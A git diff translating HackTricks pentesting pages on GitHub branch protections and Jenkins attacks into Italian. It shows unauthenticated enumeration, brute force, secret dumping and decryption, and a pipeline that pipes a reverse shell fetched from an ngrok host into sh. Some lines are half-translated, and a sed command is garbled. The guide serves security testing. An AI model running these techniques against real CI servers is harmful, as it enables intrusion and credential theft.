-> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
+> - **Rubare tutti i segreti** the Action has access to
+> - **Muoversi lateralmente** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
+> - **Abusare del token** used by the **workflow** to **rubare il codice del repo** where the Action is executed or **anche modificarlo**.
## Branch Protections
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+Branch protections are designed to **non dare il controllo completo di un repository** to the users. The goal is to **mettere diversi metodi di protezione prima di poter scrivere codice all'interno di un ramo**.
The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_
> [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> It's **non possibile impostare una protezione del ramo a livello di organizzazione**. So all of them must be declared on each repo.
Different protections can be applied to a branch (like to master):
-- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
-- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
-- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
-- **Require signed commits**. The commits need to be signed.
-- **Require linear history.** Prevent merge commits from being pushed to matching branches.
-- **Include administrators**. If this isn't set, admins can bypass the restrictions.
-- **Restrict who can push to matching branches**. Restrict who can send a PR.
+- You can **richiedere un PR prima di unire** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
+- **Richiedere un numero di approvazioni**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
+- **Annullare le approvazioni quando nuovi commit vengono inviati**. If not, a user may approve legit code and then the user could add malicious code and merge it.
+- **Richiedere revisioni dai Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
+- **Limitare chi può annullare le revisioni delle pull request.** You can specify people or teams allowed to dismiss pull request reviews.
+- **Consentire attori specificati di bypassare i requisiti delle pull request**. These users will be able to bypass previous restrictions.
+- **Richiedere che i controlli di stato passino prima di unire.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
+- **Richiedere la risoluzione delle conversazioni prima di unire**. All comments on the code needs to be resolved before the PR can be merged.
+- **Richiedere commit firmati**. The commits need to be signed.
+- **Richiedere una storia lineare.** Prevent merge commits from being pushed to matching branches.
+- **Includere gli amministratori**. If this isn't set, admins can bypass the restrictions.
+- **Limitare chi può inviare a rami corrispondenti**. Restrict who can send a PR.
> [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> As you can see, even if you managed to obtain some credentials of a user, **i repo potrebbero essere protetti evitando che tu possa inviare codice a master** for example to compromise the CI/CD pipeline.
## References
@@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master):
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index 4dfba3ff3..dc16dadca 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -1,312 +1,290 @@
-# Jenkins Security
+# Sicurezza di Jenkins
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Informazioni di Base
-Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
+Jenkins è uno strumento che offre un metodo semplice per stabilire un ambiente di **integrazione continua** o **consegna continua** (CI/CD) per quasi **qualsiasi** combinazione di **linguaggi di programmazione** e repository di codice sorgente utilizzando pipeline. Inoltre, automatizza vari compiti di sviluppo di routine. Sebbene Jenkins non elimini la **necessità di creare script per singoli passaggi**, fornisce un modo più veloce e robusto per integrare l'intera sequenza di strumenti di build, test e distribuzione rispetto a quanto si possa facilmente costruire manualmente.
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-## Unauthenticated Enumeration
-
-In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
+## Enumerazione Non Autenticata
+Per cercare pagine Jenkins interessanti senza autenticazione come (_/people_ o _/asynchPeople_, che elenca gli utenti attuali) puoi usare:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
-
-Check if you can execute commands without needing authentication:
-
+Controlla se puoi eseguire comandi senza necessitare di autenticazione:
```
msf> use auxiliary/scanner/http/jenkins_command
```
+Senza credenziali puoi guardare dentro il percorso _**/asynchPeople/**_ o _**/securityRealm/user/admin/search/index?q=**_ per **nomi utente**.
-Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
+Potresti essere in grado di ottenere la versione di Jenkins dal percorso _**/oops**_ o _**/error**_.
-You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
-
-.png>)
-
-### Known Vulnerabilities
+### Vulnerabilità Conosciute
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
-## Login
+## Accesso
-In the basic information you can check **all the ways to login inside Jenkins**:
+Nelle informazioni di base puoi controllare **tutti i modi per accedere a Jenkins**:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-### Register
+### Registrazione
-You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
+Sarai in grado di trovare istanze di Jenkins che **ti permettono di creare un account e accedere ad esso. Semplice come quello.**
-### **SSO Login**
+### **Accesso SSO**
-Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
+Inoltre, se la **funzionalità**/**plugin** **SSO** erano presenti, dovresti tentare di **accedere** all'applicazione utilizzando un account di test (ad es., un **account di test Github/Bitbucket**). Trucco da [**qui**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
-**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
-
+**Jenkins** manca di **politiche di password** e **mitigazione del brute-force sui nomi utente**. È essenziale **bruteforzare** gli utenti poiché potrebbero essere in uso **password deboli** o **nomi utente come password**, anche **nomi utente invertiti come password**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
-
### Password spraying
-Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
+Usa [questo script python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) o [questo script powershell](https://github.com/chryzsh/JenkinsPasswordSpray).
-### IP Whitelisting Bypass
+### Bypass della whitelist IP
-Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
+Molte organizzazioni combinano **sistemi di gestione del controllo sorgente (SCM) basati su SaaS** come GitHub o GitLab con una **soluzione CI interna e self-hosted** come Jenkins o TeamCity. Questa configurazione consente ai sistemi CI di **ricevere eventi webhook dai fornitori di controllo sorgente SaaS**, principalmente per attivare i lavori della pipeline.
-To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
+Per ottenere ciò, le organizzazioni **whitelistano** i **range IP** delle **piattaforme SCM**, consentendo loro di accedere al **sistema CI interno** tramite **webhook**. Tuttavia, è importante notare che **chiunque** può creare un **account** su GitHub o GitLab e configurarlo per **attivare un webhook**, potenzialmente inviando richieste al **sistema CI interno**.
-Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
+Controlla: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
-## Internal Jenkins Abuses
+## Abusi interni di Jenkins
-In these scenarios we are going to suppose you have a valid account to access Jenkins.
+In questi scenari supponiamo che tu abbia un account valido per accedere a Jenkins.
> [!WARNING]
-> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
+> A seconda del meccanismo di **Autorizzazione** configurato in Jenkins e dei permessi dell'utente compromesso, **potresti essere in grado o meno di eseguire i seguenti attacchi.**
-For more information check the basic information:
+Per ulteriori informazioni, controlla le informazioni di base:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-### Listing users
+### Elencare gli utenti
-If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
+Se hai accesso a Jenkins, puoi elencare altri utenti registrati in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
-### Dumping builds to find cleartext secrets
-
-Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
+### Dumping delle build per trovare segreti in chiaro
+Usa [questo script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) per dumpare le uscite della console delle build e le variabili d'ambiente delle build per trovare, si spera, segreti in chiaro.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
+### **Furto delle credenziali SSH**
-### **Stealing SSH Credentials**
-
-If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
+Se l'utente compromesso ha **sufficienti privilegi per creare/modificare un nuovo nodo Jenkins** e le credenziali SSH sono già memorizzate per accedere ad altri nodi, potrebbe **rubare quelle credenziali** creando/modificando un nodo e **impostando un host che registrerà le credenziali** senza verificare la chiave dell'host:
.png>)
-You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets).
+Di solito troverai le credenziali ssh di Jenkins in un **provider globale** (`/credentials/`), quindi puoi anche estrarle come faresti con qualsiasi altro segreto. Maggiori informazioni nella sezione [**Dumping secrets**](./#dumping-secrets).
### **RCE in Jenkins**
-Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
+Ottenere una **shell nel server Jenkins** offre all'attaccante l'opportunità di leak tutti i **segreti** e le **variabili d'ambiente** e di **sfruttare altre macchine** situate nella stessa rete o persino **raccogliere credenziali cloud**.
-By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
+Per impostazione predefinita, Jenkins **gira come SYSTEM**. Quindi, comprometterlo darà all'attaccante **privilegi SYSTEM**.
-### **RCE Creating/Modifying a project**
+### **RCE Creando/Modificando un progetto**
-Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
+Creare/Modificare un progetto è un modo per ottenere RCE sul server Jenkins:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
-### **RCE Execute Groovy script**
+### **RCE Eseguendo uno script Groovy**
-You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
+Puoi anche ottenere RCE eseguendo uno script Groovy, che potrebbe essere più furtivo rispetto alla creazione di un nuovo progetto:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
-### RCE Creating/Modifying Pipeline
+### RCE Creando/Modificando una Pipeline
-You can also get **RCE by creating/modifying a pipeline**:
+Puoi anche ottenere **RCE creando/modificando una pipeline**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
-## Pipeline Exploitation
+## Sfruttamento delle Pipeline
-To exploit pipelines you still need to have access to Jenkins.
+Per sfruttare le pipeline devi comunque avere accesso a Jenkins.
-### Build Pipelines
+### Pipeline di Build
-**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
+Le **pipeline** possono anche essere utilizzate come **meccanismo di build nei progetti**, in tal caso può essere configurato un **file all'interno del repository** che conterrà la sintassi della pipeline. Per impostazione predefinita viene utilizzato `/Jenkinsfile`:
.png>)
-It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
+È anche possibile **memorizzare i file di configurazione della pipeline in altri luoghi** (in altri repository, ad esempio) con l'obiettivo di **separare** l'accesso al repository e l'accesso alla pipeline.
-If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
-It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
+Se un attaccante ha **accesso in scrittura su quel file**, sarà in grado di **modificarlo** e **potenzialmente attivare** la pipeline senza nemmeno avere accesso a Jenkins.\
+È possibile che l'attaccante debba **bypassare alcune protezioni dei branch** (a seconda della piattaforma e dei privilegi dell'utente, potrebbero essere bypassate o meno).
-The most common triggers to execute a custom pipeline are:
+I trigger più comuni per eseguire una pipeline personalizzata sono:
-- **Pull request** to the main branch (or potentially to other branches)
-- **Push to the main branch** (or potentially to other branches)
-- **Update the main branch** and wait until it's executed somehow
+- **Pull request** al branch principale (o potenzialmente ad altri branch)
+- **Push al branch principale** (o potenzialmente ad altri branch)
+- **Aggiornare il branch principale** e aspettare che venga eseguito in qualche modo
> [!NOTE]
-> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
+> Se sei un **utente esterno** non dovresti aspettarti di creare una **PR al branch principale** del repo di **un altro utente/organizzazione** e **attivare la pipeline**... ma se è **mal configurato** potresti completamente **compromettere aziende semplicemente sfruttando questo**.
-### Pipeline RCE
+### RCE Pipeline
-In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline).
+Nella precedente sezione RCE è già stata indicata una tecnica per [**ottenere RCE modificando una pipeline**](./#rce-creating-modifying-pipeline).
-### Checking Env variables
-
-It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
+### Controllo delle variabili d'ambiente
+È possibile dichiarare **variabili d'ambiente in chiaro** per l'intera pipeline o per fasi specifiche. Queste variabili d'ambiente **non dovrebbero contenere informazioni sensibili**, ma un attaccante potrebbe sempre **controllare tutte le configurazioni della pipeline/Jenkinsfile**:
```bash
pipeline {
- agent {label 'built-in'}
- environment {
- GENERIC_ENV_VAR = "Test pipeline ENV variables."
- }
+agent {label 'built-in'}
+environment {
+GENERIC_ENV_VAR = "Test pipeline ENV variables."
+}
- stages {
- stage("Build") {
- environment {
- STAGE_ENV_VAR = "Test stage ENV variables."
- }
- steps {
+stages {
+stage("Build") {
+environment {
+STAGE_ENV_VAR = "Test stage ENV variables."
+}
+steps {
```
-
### Dumping secrets
-For information about how are secrets usually treated by Jenkins check out the basic information:
+Per informazioni su come vengono solitamente trattati i segreti da Jenkins, consulta le informazioni di base:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job//configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
-
-There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
+Le credenziali possono essere **scoperta a fornitori globali** (`/credentials/`) o a **progetti specifici** (`/job//configure`). Pertanto, per esfiltrare tutti, è necessario **compromettere almeno tutti i progetti** che contengono segreti ed eseguire pipeline personalizzate/contaminate.
+C'è un altro problema, per ottenere un **segreto all'interno dell'env** di una pipeline è necessario **conoscere il nome e il tipo del segreto**. Ad esempio, se provi a **caricare** un **segreto** **`usernamePassword`** come un **segreto** **`string`** otterrai questo **errore**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
-
-Here you have the way to load some common secret types:
-
+Ecco come caricare alcuni tipi di segreti comuni:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
- sh '''
- env #Search for USERNAME and PASS
- '''
+sh '''
+env #Search for USERNAME and PASS
+'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
- sh '''
- env #Search for SECRET
- '''
+sh '''
+env #Search for SECRET
+'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
- sh '''
- env # Search for USERPASS
- '''
+sh '''
+env # Search for USERPASS
+'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
- string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
- sh '''
- env
- '''
+string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
+sh '''
+env
+'''
}
```
-
-At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
+Alla fine di questa pagina puoi **trovare tutti i tipi di credenziali**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
-> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
-> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation).
+> Il modo migliore per **estrarre tutti i segreti in una volta** è **compromettere** la macchina **Jenkins** (eseguendo una reverse shell nel **nodo integrato**, ad esempio) e poi **leakare** le **chiavi master** e i **segreti crittografati** e decrittografarli offline.\
+> Maggiori informazioni su come fare questo nella sezione [Nodes & Agents](./#nodes-and-agents) e nella sezione [Post Exploitation](./#post-exploitation).
-### Triggers
+### Trigger
-From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
-
-Cron example:
+Dalla [documentazione](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): La direttiva `triggers` definisce i **modi automatizzati in cui il Pipeline dovrebbe essere riattivato**. Per i Pipeline che sono integrati con una sorgente come GitHub o BitBucket, `triggers` potrebbero non essere necessari poiché l'integrazione basata su webhook sarà probabilmente già presente. I trigger attualmente disponibili sono `cron`, `pollSCM` e `upstream`.
+Esempio di Cron:
```bash
triggers { cron('H */4 * * 1-5') }
```
+Controlla **altri esempi nella documentazione**.
-Check **other examples in the docs**.
+### Nod e Agenti
-### Nodes & Agents
+Un **istanza di Jenkins** potrebbe avere **diversi agenti in esecuzione su macchine diverse**. Da una prospettiva di attaccante, l'accesso a diverse macchine significa **diverse potenziali credenziali cloud** da rubare o **diverso accesso alla rete** che potrebbe essere abusato per sfruttare altre macchine.
-A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
-
-For more information check the basic information:
+Per ulteriori informazioni controlla le informazioni di base:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
+Puoi enumerare i **nodi configurati** in `/computer/`, di solito troverai il **`Built-In Node`** (che è il nodo che esegue Jenkins) e potenzialmente di più:
.png>)
-It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
-
-To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
+È **particolarmente interessante compromettere il nodo Built-In** perché contiene informazioni sensibili di Jenkins.
+Per indicare che vuoi **eseguire** il **pipeline** nel **nodo Jenkins integrato** puoi specificare all'interno del pipeline la seguente configurazione:
```bash
pipeline {
- agent {label 'built-in'}
+agent {label 'built-in'}
```
+### Esempio completo
-### Complete example
-
-Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
-
+Pipeline in un agente specifico, con un trigger cron, con variabili di ambiente per la pipeline e lo stage, caricando 2 variabili in un passo e inviando una reverse shell:
```bash
pipeline {
- agent {label 'built-in'}
- triggers { cron('H */4 * * 1-5') }
- environment {
- GENERIC_ENV_VAR = "Test pipeline ENV variables."
- }
+agent {label 'built-in'}
+triggers { cron('H */4 * * 1-5') }
+environment {
+GENERIC_ENV_VAR = "Test pipeline ENV variables."
+}
- stages {
- stage("Build") {
- environment {
- STAGE_ENV_VAR = "Test stage ENV variables."
- }
- steps {
- withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
- string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
- sh '''
- curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
- '''
- }
- }
- }
+stages {
+stage("Build") {
+environment {
+STAGE_ENV_VAR = "Test stage ENV variables."
+}
+steps {
+withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
+string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
+sh '''
+curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
+'''
+}
+}
+}
- post {
- always {
- cleanWs()
- }
- }
+post {
+always {
+cleanWs()
+}
+}
}
```
-
-## Arbitrary File Read to RCE
+## Lettura di File Arbitrari per RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -326,19 +304,17 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
-## Post Exploitation
+## Post Sfruttamento
### Metasploit
-
```
msf> post/multi/gather/jenkins_gather
```
-
### Jenkins Secrets
-You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
+Puoi elencare i segreti accedendo a `/credentials/` se hai abbastanza permessi. Tieni presente che questo elencherà solo i segreti all'interno del file `credentials.xml`, ma **i file di configurazione della build** potrebbero avere anche **ulteriori credenziali**.
-If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
+Se puoi **vedere la configurazione di ciascun progetto**, puoi anche vedere lì i **nomi delle credenziali (segreti)** utilizzati per accedere al repository e **altre credenziali del progetto**.
.png>)
@@ -350,19 +326,18 @@ jenkins-dumping-secrets-from-groovy.md
#### From disk
-These files are needed to **decrypt Jenkins secrets**:
+Questi file sono necessari per **decriptare i segreti di Jenkins**:
- secrets/master.key
- secrets/hudson.util.Secret
-Such **secrets can usually be found in**:
+Tali **segreti possono solitamente essere trovati in**:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
-Here's a regex to find them:
-
+Ecco una regex per trovarli:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -372,11 +347,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}
```
-
#### Decrypt Jenkins secrets offline
-If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
-
+Se hai estratto le **password necessarie per decriptare i segreti**, usa [**questo script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **per decriptare quei segreti**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -384,23 +357,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
-
-#### Decrypt Jenkins secrets from Groovy
-
+#### Decrittare i segreti di Jenkins da Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
+### Crea un nuovo utente admin
-### Create new admin user
+1. Accedi al file config.xml di Jenkins in `/var/lib/jenkins/config.xml` o `C:\Program Files (x86)\Jenkins\`
+2. Cerca la parola `true` e cambia la parola **`true`** in **`false`**.
+1. `sed -i -e 's/truefalsetrue` e **riavvia di nuovo Jenkins**.
-1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
-2. Search for the word `true`and change the word \*\*`true` \*\* to **`false`**.
- 1. `sed -i -e 's/truefalsetrue` and **restart the Jenkins again**.
-
-## References
+## Riferimenti
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
@@ -410,7 +380,3 @@ println(hudson.util.Secret.decrypt("{...}"))
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
index 6e62a8536..5c0b230ff 100644
--- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
@@ -1,87 +1,87 @@
-# Basic Jenkins Information
+# Informazioni di base su Jenkins
{{#include ../../banners/hacktricks-training.md}}
-## Access
+## Accesso
-### Username + Password
+### Nome utente + Password
-The most common way to login in Jenkins if with a username or a password
+Il modo più comune per accedere a Jenkins è con un nome utente o una password.
### Cookie
-If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
+Se un **cookie autorizzato viene rubato**, può essere utilizzato per accedere alla sessione dell'utente. Il cookie è solitamente chiamato `JSESSIONID.*`. (Un utente può terminare tutte le sue sessioni, ma deve prima scoprire che un cookie è stato rubato).
-### SSO/Plugins
+### SSO/Plugin
-Jenkins can be configured using plugins to be **accessible via third party SSO**.
+Jenkins può essere configurato utilizzando plugin per essere **accessibile tramite SSO di terze parti**.
-### Tokens
+### Token
-**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
+**Gli utenti possono generare token** per dare accesso alle applicazioni per impersonarli tramite CLI o REST API.
-### SSH Keys
+### Chiavi SSH
-This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
+Questo componente fornisce un server SSH integrato per Jenkins. È un'interfaccia alternativa per il [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), e i comandi possono essere invocati in questo modo utilizzando qualsiasi client SSH. (Dalla [documentazione](https://plugins.jenkins.io/sshd/))
-## Authorization
+## Autorizzazione
-In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
+In `/configureSecurity` è possibile **configurare il metodo di autorizzazione di Jenkins**. Ci sono diverse opzioni:
-- **Anyone can do anything**: Even anonymous access can administrate the server
-- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
-- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
